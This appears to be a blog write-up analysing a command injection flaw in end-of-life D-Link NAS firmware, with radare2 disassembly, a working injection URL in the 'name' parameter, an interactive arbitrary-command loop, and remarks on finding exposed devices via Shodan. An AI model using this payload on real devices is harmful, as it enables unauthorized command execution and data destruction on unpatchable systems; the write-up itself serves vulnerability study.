Woke up today to find a juicy new Command Injection vulnerability hitting D-Link devices. While it’s no surprise to see vulnerabilities popping up every other day, this one caught my eye. Why? I’ve been hands-on with these devices before, so I thought, Why not dive in and see what’s actually going down?
Here’s the kicker D-Link isn’t bothering to fix it. Why? Because these devices are officially End of Life. Translation? If you’re rocking one of these old units, you’re on your own. No more software updates, no security patches, no support from D-Link. Time to drop cash on a new device.
Alright, It all comes down to the
name
parameter. The issue lies in how the cgi_user_add command within the account_mgr.cgi script handles this parameter. Essentially, this flaw allows an unauthenticated attacker to inject arbitrary shell commands through specially crafted HTTP GET requests. And the worst part? It’s pretty easy to exploit.
Shoutout to netsecfish for discovering this vulnerability.
References: Command Injection Vulnerability in name parameter for D-Link NAS - netsecfish
Alright, time to grab the firmware and start peeling back the layers to see what this vuln is really about. I snagged the firmware for one of the affected models, the DNS-340L. This thing’s got a compile date from 2018, and guess what? No more updates.
You can find the firmware here: DNS-340L Firmware
Alright, let’s kick things off with the firmware analysis. After you grab the firmware, you’ll see it’s wrapped in a ZIP file. Unzip it, and you’ll be left with a binary that we’ll need to dig into. But here’s the thing if you run the file
command on this binary, it’s just gonna tell you it’s “LIF” (Linux Initial File System). So, what now?
Easy. A lot of the time, especially when the firmware isn’t encrypted (which is pretty common with many manufacturers), we can use Binwalk. This tool scans the firmware image, hunts down known file types or compressed formats, and then extracts them. It keeps peeling the onion, recursively unpacking everything, layer by layer. What we usually end up with is either a SquashFS file system (a compressed, read-only file system that’s used at runtime) or a JFFS2 file system (a journaled flash file system). These are the juicy file systems we want to work with since they contain the binaries we need to start poking around.
keep in mind the SquashFS so you need to mount it to browse through, Alright so from the article, we know the vulnerability lies within the account_manager.cgi script.
So, now the goal is to see if we can locate this script within the extracted files, Alright, we’ve got an executable, so let’s put it in r2 and see what we can find. But before we go into that, I ran a strings
command for printable strings from the binary. I looked for a specific string, cgi_user_add
, because that’s where the vuln is triggered. and I think I’ve found what could be causing the injection.
Take a look at this,
We begin with the function sym.cgiMain
, which calls fcn.000154f0
at address 0x23848
. This is a critical part of the program’s flow, handling data likely coming from a web form, probably the HTTP POST request, though this exact detail isn’t clear yet. What we see immediately is the function beginning with stack adjustments, a common pattern in ARM;
pdf @ fcn.000154f0
; CALL XREF from sym.cgiMain @ 0x23848(x)
┌ 200: fcn.000154f0 ();
│ ; var int32_t var_3000h @ sp-0x100
│ ; var int32_t var_3080h @ sp-0x80
│ ; var int32_t var_3000h_2 @ sp+0x20
│ 0x000154f0 f0412de9 push {r4, r5, r6, r7, r8, lr}
│ 0x000154f4 31dc4de2 sub sp, sp, 0x3100
│ 0x000154f8 20d04de2 sub sp, sp, 0x20
│ 0x000154fc 034a8de2 add r4, var_3000h
│ 0x00015500 c26d8de2 add r6, var_3080h
│ 0x00015504 204084e2 add r4, r4, 0x20
│ 0x00015508 206086e2 add r6, r6, 0x20
│ 0x0001550c 0410a0e1 mov r1, r4
│ 0x00015510 8020a0e3 mov r2, 0x80
│ 0x00015514 9c009fe5 ldr r0, str.name ;
It’s interesting to note how the function dynamically allocates space for what we can assume are local variables (the form data in this case). The function’s layout suggests that a significant amount of data is being processed in this function, given the large stack adjustment of 0x3100
bytes, which is quite a chunk of memory.
The real action starts as the function prepares to process form inputs by adjusting register values. r4
and r6
are used to hold references to specific buffers that will hold the extracted form data. r4
seems to be the buffer for the “name” field, and r6
is likely for the password (pw
). This part indicates that the program is working with user-submitted form data, which is typical in CGI-based web applications
Also we see the string “name” loaded and passed to cgiFormString
, which is probably a helper function for extracting the value of the name
field from the HTTP request, the function handles the password field (pw
), repeating a similar sequence of operations. The code uses cgiFormString
again, this time passing the string “pw” to get the password input, and Similarly, the function extracts the “group” field, following the same process. These form field extractions make it clear that the function is processing a user input form, possibly for account creation or authentication,
[0x284f4:4]=0x656d616e ; "name"
│ 0x00015518 20508de2 add r5, sp, 0x20
│ 0x0001551c 0df5ffeb bl sym.imp.cgiFormString
│ 0x00015520 0610a0e1 mov r1, r6
│ 0x00015524 8020a0e3 mov r2, 0x80
│ 0x00015528 8c009fe5 ldr r0, str.pw ; [0x29258:4]=0x7770 ; "pw"
│ 0x0001552c 09f5ffeb bl sym.imp.cgiFormString
│ 0x00015530 0510a0e1 mov r1, r5
│ 0x00015534 032aa0e3 mov r2, 0x3000
│ 0x00015538 80009fe5 ldr r0, str.group ; [0x2ac60:4]=0x756f7267 ; "group"
│ 0x0001553c 05f5ffeb bl sym.imp.cgiFormString
│ 0x00015540 00c0a0e3 mov ip, 0
│ 0x00015544 0c10a0e1 mov r1, ip
│ 0x00015548 74e09fe5 ldr lr, str._p ; [0x28e50:4]=0x702d ; "-p"
│ 0x0001554c 0c00a0e1 mov r0, ip
│ 0x00015550 70309fe5 ldr r3, str._a ; [0x28e48:4]=0x612d ; "-a"
│ 0x00015554 70709fe5 ldr r7, str._u ; [0x28e4c:4]=0x752d ; "-u"
│ 0x00015558 70809fe5 ldr r8, str._l ; [0x28e54:4]=0x6c2d ; "-l"
At this point, the function seems to be gathering all the data needed for further processing, So after extracting the form data, it sets up arguments and prepares to execute a series of operations, So far so good, there’s nothin’ wrong with this,
So I decided to recap the flow and stick to actually logic and not follow the rabbit hole, and trace the vuln with the information that we already got, If we go back to the PoC published in the article I referenced earlier, we can clearly see that an attacker sends a crafted HTTP GET request to the NAS device with malicious input in the name
parameter. The URL triggers the cgi_user_add
command with a name
parameter that includes an injected shell command.
Alright, let’s take a sec to think about what we’ve got here. We’re dealing with a program that processes user inputs names, passwords, and groups. right? But then we hit a critical part of the code: the part that deals with creating users and modifying groups. This is where the magic happens, or rather, where things can go terribly wrong if we’re not careful.
Now, this implies that the program is set up to execute shell commands classic system behavior, right? The system function itself is very easy to get wrong, especially when handling untrusted input. CGI an ELF file that runs as a program when you provide it with commands, right?
So after some digging, guess what,
the account
takes user input and then throws that input directly into a shell command executed by system()
. And let’s be clear, we’re talking about sensitive input here: usernames, passwords, and group names. Now, this wouldn’t be much of an issue if these inputs were tightly controlled and validated. But in this case, they’re not. The program just blindly uses them in commands like adduser
, usermod
, gpasswd
, and smbpasswd
.
You know what happens when you blindly trust user input, right?
This is the interesting part. When you look at the overall code in the program, you notice that in other places, they’ve been smart enough to use safe_system()
instead of system()
. This is a safer alternative, they wrote and designed against command injection.
So for example, the process involves sanitizing and “securely” executing commands constructed with user-provided inputs like name
, pw
, and group
. Even in the disassembly, we see how the binary painstakingly constructs command arguments (e.g., -p
, -u
, -a
, etc.) before handing them off to safe_system
which is essentially a wrapper to prevent and it’s used in most parts of the program.
[0x00010a9c]> axt @ sym.imp.safe_system
(nofunc) 0x10a9c [NULL:r--] andeq r2, r1, r4, lsr 11
fcn.000154f0 0x1557c [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x159d8 [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x15c9c [CALL:--x] bl sym.imp.safe_system
fcn.000160d8 0x16118 [CALL:--x] bl sym.imp.safe_system
fcn.00016e28 0x16fa0 [CALL:--x] bl sym.imp.safe_system
fcn.00017110 0x1719c [CALL:--x] bl sym.imp.safe_system
fcn.00017f4c 0x17fdc [CALL:--x] bl sym.imp.safe_system
fcn.00018034 0x185e4 [CALL:--x] bl sym.imp.safe_system
fcn.00018678 0x18748 [CALL:--x] bl sym.imp.safe_system
fcn.0001d71c 0x1da04 [CALL:--x] bl sym.imp.safe_system
fcn.0001dbe4 0x1de6c [CALL:--x] bl sym.imp.safe_system
fcn.000213b4 0x216ac [CALL:--x] bl sym.imp.safe_system
fcn.000219b4 0x21a34 [CALL:--x] bl sym.imp.safe_system
pdf @ sym.imp.safe_system
;-- rsym.safe_system:
; XREFS: 0x00010a9c CALL 0x0001557c CALL 0x000159d8 CALL 0x00015c9c CALL 0x00016118 CALL 0x00016fa0
; XREFS: CALL 0x0001719c CALL 0x00017fdc CALL 0x000185e4 CALL 0x00018748 CALL 0x0001da04 CALL 0x0001de6c
; XREFS: CALL 0x000216ac CALL 0x00021a34
┌ 12: sym.imp.safe_system ();
│ 0x000125a4 00c68fe2 add ip, pc, 0, 12
│ 0x000125a8 2aca8ce2 add ip, ip, 0x2a000
│ ; CODE XREF from sym.imp.safe_system @ 0x125a4(w)
└ 0x000125ac e0fcbce5 ldr pc, [ip, 0xce0]!
Now the frequent usage of safe_system
implies that the developers were acutely aware of potential risks. We can see the cross-references it’s being called in a lot of places, So, WTF?
But here’s the problem in the account
, they just went ahead and used system()
,
You might be asking, why didn’t they just use safe_system()
here in the first place? It would have been a simple fix, right? Well, that’s where the disconnect happens. It’s possible that two different teams were working together with poor communication. If they had just used safe_system()
in the account
binary, they would have mitigated the risk of command injection with one simple change.
It’s like putting a lock on the door after realizing there’s a big hole in the wall. The reality is, you could recompile the account
to use safe_system()
, effectively fixing the issue.
So, what do we learn from all this? It’s a classic case of not applying a consistent level of security throughout the program. In this case, everything else seems to be fine(not eveythin’ just in work of safe_system) but because they missed using safe_system()
in the account
, This is a perfect example of how overlooking even one small entry point can leave the entire application exposed,
Now let’s end this by a simple PoC exploit, At the end of the day, there’s no vulnerability without a proof of concept, right?
sends a request to the vulnerable endpoint (/cgi-bin/account_mgr.cgi?cmd=cgi_user_add
) uses the echo {verify_string}
command. This confirm whether the system executes commands injected through the name
parameter. The verify_string
is a random string we generate, which serves as a marker in the response. If we see that string in the server’s response, we know the system executed our injected command meaning it’s vulnerable.
verify_string = "".join(random.choice(string.ascii_letters) for _ in range(5))
cmd = f"echo {verify_string}"
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"
The cool thing is that because the name
parameter is passed directly to system()
, any shell command including ones like rm -rf
cmd = input("$ ")
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"
Reference :_ exploit.py - CVE-2024-10914
Alright, let’s take a quick detour, Who might be exploiting this? What’s their motive? And how widespread could the impact be? With this particular vulnerability,
These are older D-Link NAS devices often used in small offices, homes, or by hobbyists. This makes them a prime target for attackers looking for low-hanging fruit devices that are often exposed to the internet but rarely updated or monitored, and this specific This kind of exploit is attractive to a wide range of actors, from skilled operators to skids, I bring up “operators” because this perfectly fits within the scope of botnet operations.
If we search for potential targets on Shodan
, we’re specifically looking for devices running a certain version of the Lighttpd web server
. This search yields only about 78 results, and I’m confident some of these aren’t actually vulnerable despite matching the exact version. That said, attackers don’t need all 78 to be exploitable; even a small number of vulnerable devices could be enough, Now, this is just what Shodan
shows us, So i’m pretty sure there’s lot out here, just exposed to the internet
So, what does this mean in terms of impact? In short, The lack of support for these older devices only adds fuel to the fire, as users are left with no official patches or updates to protect themselves, and we know how seriously people take security - until it’s too late.
—-[References] ———————————————————————————————————–